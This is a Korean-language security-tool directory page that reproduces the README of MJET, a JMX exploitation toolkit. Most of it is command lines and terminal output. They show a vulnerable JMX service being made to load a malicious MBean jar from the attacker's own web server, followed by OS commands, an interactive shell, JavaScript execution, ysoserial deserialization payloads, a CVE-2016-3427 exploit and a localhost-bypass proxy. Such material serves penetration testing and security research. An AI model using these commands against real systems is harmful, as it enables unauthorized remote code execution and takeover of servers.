Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mjet — MOGWAI LABS JMX 익스플로잇 도구 키트 | Kitploit
도구/GitHubGitHub/mogwailabs/mjet
Payload GenerationExploitationPost-ExploitationPenetration TestingRed TeamingRemote Access ToolArchived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS JMX 익스플로잇 도구 키트

저장소 보기
2054713년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MOGWAI LABS의 MJET

MOGWAI LABS JMX 익스플로잇 툴킷

MJET는 siberas가 개발했지만 더 이상 활발히 유지보수되지 않는 sjet의 포크입니다. MJET는 원래 sjet 코드베이스의 대부분을 제공한 MOGWAI LABS 팀이 유지보수합니다.

MJET를 사용하면 안전하지 않게 구성된 JMX 서비스를 쉽게 익스플로잇할 수 있습니다. 추가 배경 정보는 여기와 여기에서 찾을 수 있습니다.

!!! 중요: 이 프로젝트는 더 이상 유지보수되지 않습니다

이 저장소는 더 이상 활발히 유지보수되지 않습니다. 대신 qtcs beanshooter를 사용하는 것을 권장합니다.

전제 조건

  • Jython 2.7
  • Ysoserial (JMX를 통한 역직렬화 취약점 악용용)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (대체 JMX 메시지 프로토콜(JMXMP) 지원용)

사용법

MJET는 argparse를 사용하는 CLI 인터페이스를 구현합니다:

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

여기서

  • targetHost - 대상 IP 주소
  • targetPort - JMX가 실행 중인 대상 포트
  • MODE - 스크립트 모드
  • modeOptions - 선택한 모드에 대한 옵션

인증 지원 (JMX 인증이 활성화된 경우):

  • --jmxrole - 사용자 이름
  • --jmxpassword - 비밀번호

기타 선택적 인자:

  • --jmxmp - JMX-MP 사용 (추가 JAR 로드 필요)
  • --localhost_bypass - localhost 바이패스에서 프록시용 서비스 포트
  • --shell - 정의된 셸 사용
  • --rmiObjectName - JMX 엔드포인트의 RMI 이름

모드 및 modeOptions

  • install - 현재 대상에 페이로드 설치
    • password - 성공적인 설치 후 설정해야 하는 비밀번호
    • payload_url - 페이로드를 로드할 전체 URL
    • payload_port - 페이로드를 로드할 포트
  • uninstall - 현재 대상에서 페이로드 제거
  • changepw - 이미 배포된 페이로드의 비밀번호 변경
    • password - 설치된 MBean에 접근하기 위한 비밀번호
    • newpass - 새 비밀번호
  • command - targetHost에서 CMD 명령 실행
    • password - 설치된 MBean에 접근하기 위한 비밀번호
    • CMD - 실행할 명령
  • shell - targetHost에서 간단한 셸 시작 (java의 Runtime.exec()의 제한 사항 포함)
    • password - 설치된 MBean에 접근하기 위한 비밀번호
  • javascript - targetHost에서 자바스크립트 파일 FILENAME 실행
    • password - 설치된 MBean에 접근하기 위한 비밀번호
    • FILENAME - 실행할 자바스크립트
  • deserialize - 대상에 ysoserial 페이로드 전송
    • gadget - ysoserial에서 제공하는 gadget (예: CommonsCollections6)
    • cmd - 실행할 명령
  • webserver - MLET 웹 서버만 실행
    • payload_url - 페이로드를 로드할 전체 URL
    • payload_port - 페이로드를 로드할 포트

예제

취약한 JMX 서비스에 페이로드 MBean 설치하기

다음 예제에서 취약한 JMX 서비스는 10.165.188.23 포트 2222에서 실행되고, 공격자의 IP 주소는 10.165.188.1입니다. JMX 서비스는 공격자의 웹 서비스에 연결하여 페이로드 jar 파일을 다운로드합니다. MJET는 필요한 웹 서비스를 포트 8000에서 시작합니다.

MBean 설치가 성공하면 기본 비밀번호는 명령줄에서 제공한 비밀번호("super_secret")로 변경됩니다.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

JMX 자격 증명으로 설치 (서버의 취약한 구성도 필요):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Linux 대상에서 'ls -la' 명령 실행:

페이로드가 설치된 후에는 이를 사용하여 대상에서 OS 명령을 실행할 수 있습니다.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

셸 모드로 실행

모든 명령에 대해 Java를 로드하고 싶지 않다면 "셸 모드"를 사용하여 제한된 명령 셸을 얻을 수 있습니다.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

대상에서 JavaScript 페이로드 호출:

예제 스크립트 "javaproperties.js"는 취약한 서비스의 Java 속성을 표시합니다. 다음과 같이 호출할 수 있습니다:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

비밀번호 변경

기존 비밀번호("super_secret")를 "this-is-the-new-password"로 변경:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

대상에서 페이로드 MBean 제거

대상에서 페이로드 MBean 'MogwaiLabs'를 제거:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

ysoserial로 Java 역직렬화 익스플로잇

대상에서 ysoserial로 Java 역직렬화를 익스플로잇: ysoserial.jar 파일이 MJET 디렉터리에 있어야 합니다. 원래 ysoserial 호출과 유사하게 원하는 ysoserial 페이로드를 선택할 수 있습니다.

이 공격은 JMX 인증이 활성화되고 사용자에게 "readonly" 권한이 있는 경우에도 작동합니다.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

CVE-2016-3427 익스플로잇: Java 역직렬화를 통한 JMX 인증

ysoserial로 CVE-2016-3427을 익스플로잇: ysoserial.jar 파일은 MJET/jar 디렉터리에 있어야 합니다. 원래 ysoserial 호출과 유사하게 원하는 ysoserial 페이로드를 선택할 수 있습니다.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

참조: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

웹서버 전용 모드

MLET 코드와 페이로드 MBean이 포함된 JAR 파일을 제공하는 웹 서버만 실행하는 것도 가능합니다.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

JMX 메시지 프로토콜(JMXMP) 지원

opendmk_jmxremote_optional_jar-1.0-b01-ea.jar을 다운로드하여 jars 디렉터리로 이동하세요. java -cp를 통해 이 디렉터리를 클래스패스에 추가해야 합니다.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Localhost 바이패스

RMI 레지스트리가 localhost에서만 접근 가능한 RemoteObject를 노출하는 경우가 있습니다(예: @127.0.0.1:45401). 그러나 RemoteObject가 네트워크를 통해 접근 가능한 포트는 열려 있습니다.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

--localhost_bypass <PORT> 옵션을 사용하여 이 서비스를 익스플로잇하는 것은 여전히 가능합니다. 다음 예제에서는 포트 45401을 사용합니다. 이 옵션은 localhost에서 TCP 프록시를 시작하고 트래픽을 지정된 포트의 targetHost로 전달합니다.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

사용자 지정 RMI 객체 이름

JMX 엔드포인트의 RMI 객체 이름이 jmxrmi가 아닌 경우가 있습니다. 이 경우 --rmiObjectName 매개변수를 사용하여 적절한 RMI 객체 이름을 지정할 수 있습니다(예: --rmiObjectName=customJmxRmi).

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

사용자 정의 셸 사용

대상 시스템에 /bin/bash 또는 cmd.exe 셸이 없는 경우가 있습니다. 이 경우 선택적 매개변수 --shell을 지정할 수 있습니다(예: --shell="bash -c"). mjet.py로 javascript javaproperties.js를 실행하면 환경에 대한 자세한 정보를 얻을 수 있습니다.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

참조: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Docker 이미지 빌드 및 실행

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

기본적으로 Docker 이미지는 HTTP 서버용 포트 8000을 노출합니다. 다른 포트가 필요하다면 해당 포트를 노출하는 것을 잊지 마세요!

기여

자유롭게 기여해 주세요.

작성자

  • Hans-Martin Münch - 초기 아이디어 및 작업 - h0ng10
  • Patricio Reller - CLI 및 추가 옵션 - preller
  • Ben Campbell - 여러 가지 개선 - Meatballs1
  • Arnim Rupp - 인증 지원
  • Sebastian Kindler - 역직렬화 지원
  • Karsten Zeides - JMX 메시지 프로토콜 지원, localhost 바이패스 zeides
  • g60ocR - Docker 파일 g60ocR
  • Morn98 - 셸 및 RMI 선택 Morn98)

이 프로젝트에 참여한 기여자 목록도 확인하세요.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드